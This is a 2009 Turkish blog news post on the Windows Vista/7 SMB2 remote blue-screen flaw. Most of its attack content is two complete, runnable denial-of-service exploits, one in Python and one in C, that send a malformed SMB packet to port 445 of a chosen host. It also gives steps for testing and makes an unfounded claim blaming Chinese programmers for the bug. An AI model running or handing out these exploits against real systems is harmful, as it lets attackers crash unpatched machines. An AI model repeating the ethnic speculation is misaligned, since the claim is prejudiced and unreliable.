Windows Vista/7 SMB2 Güvenlik Açığı

  09/10/2009, Yazar: Özgür Koca, Kategori: Güvenlik, Haber

7 Eylülde Laurent Gaffie tarafından raporlanan açığa göre Windows Vista ve Windows 7 işletim sistemleri ciddi bir güvenlik riski altında. Saldıgan bu açığı kullanarak Windows Vista veya Windows 7 çalıştıran sistemleri uzaktan çökertebiliyor. Windows’un bu sürümlerinde kullanılan SMB2 (windows çalışma guruplarının dosya ve yazıcı paylaşımı için kullandığı protokolün 2. sürümü) hizmeti özel olarak oluşturulmuş bir veri paketi ile etkilenerek Windows’un mavi ekrana düşmesine neden oluyor. Güvenlik açığı için henuz uzaktan kod çalıştıran bir exploit yazılmış değil fakat Segmentation Fault hatalarının kolaylıkla exploit edilebildiği de biliniyor.

#!/usr/bin/python<br />
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field<br />
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error</p>
<p>from socket import socket<br />
from time import sleep</p>
<p>host = "IP_ADDR", 445<br />
buff = (<br />
"\x00\x00\x00\x90" # Begin SMB header: Session message<br />
"\xff\x53\x4d\x42" # Server Component: SMB<br />
"\x72\x00\x00\x00" # Negociate Protocol<br />
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853<br />
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"<br />
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"<br />
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"<br />
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"<br />
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"<br />
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"<br />
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"<br />
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"<br />
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"<br />
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"<br />
"\x30\x30\x32\x00"<br />
)<br />
s = socket()<br />
s.connect(host)<br />
s.send(buff)<br />
s.close() 

SMB 2.0 oturumunun başında istemcinin sunucuya gönderdiği paket başlığında yer alan “Process ID High” isimli alana ampersant “&” karakteri koyulduğunda PAGE_FAULT_IN_NONPAGED_AREA hatası oluşuyor ve mavi ekran beliriyor.

Hatanın oluşma nedeni, &’nin binary karşılığından ziyade adres operatörü olarak yorumlanmasından kaynaklanıyor olabilir. Böyle ise oldukça vahim bir durum. Bu durumda SMB2.0 implementasyonunda dışarıdan gelen verilerin ele alınış şeklinde hatalar olduğundan bahsedebiliriz. Aslında Mikrsosoft’un böylesi bir programlama hatası yapması pek olası değil fakat ekonomik kriz nedeniyle implementasyonun çinli programcılara yazdırılmış olabileceğini düşünüyorum.

Açığı test etmek için Windows güvenlik duvarını kapatın ve dosya paylaşımını aktive edin. Açık çoktan Metasploit’e . Açığın C++ kodu da aşağıdaki gibi.

/*
 * Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
 * (c) Laurent Gaffie http://g-laurent.blogspot.com
 */

#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char** argv)
{
    int sock;
    int ret;
    int port = 445;
    char* buff = "\x00\x00\x00\x90\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e\x30\x30\x32\x00";
    struct sockaddr_in host_addr;
    struct hostent *host;

    if(argc != 2) {
        printf("Usage: <exploit> <host ip>\n");
        return 1;
    }

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(!sock) {
        printf("Socket creation failed\n");
        return 1;
    }

    host = gethostbyname(argv[1]);
    if(!host) {
        printf("Host not found\n");
        return 1;
    }

    bzero((char *) &host_addr, sizeof(host_addr));
    host_addr.sin_family = AF_INET;
    bcopy((char *)host->h_addr,
         (char *)&host_addr.sin_addr.s_addr,
         host->h_length);
    host_addr.sin_port = htons(port);
    ret = connect(sock,(struct sockaddr*)&host_addr,sizeof(host_addr));
    if(ret) {
        perror("Unable to connect");
        return 1;
    }
    ret = write(sock,buff,148);
    if(ret) {
        printf("Death message sent: %i bytes\n",ret);
    } else {
        printf("Error sending shellcode\n");
        return 1;
    }
    close(sock);

    return 0;
}

Günvelik açığı MS’a bildirilmiş. Henüz bir yama yayınlanmadı. Önlem olarak Windows 7 ve Vista’larda dosya ve yazıcı paylaşımı özelliğinin öneriliyor.

Kaynak:

metaexploit (1), windows 7 exploit açığı (1)







1 Puan2 Puan3 Puan4 Puan5 Puan6 Puan7 Puan8 Puan9 Puan10 Puan (1 votes, average: 10,00 out of 10)


Biraz gürültü yapın





Not: Yazdığınız yorum yönetici tarafından onaylandıktan sonra yayınlanacaktır.


  Yorumlara eposta ile abone ol




  • Hakkında | İletişim | Wordpress.org | RSS | Abone Ol

  • (c) 2005-2009 Wordpress Tema: Tankado & Theme by Tankado.com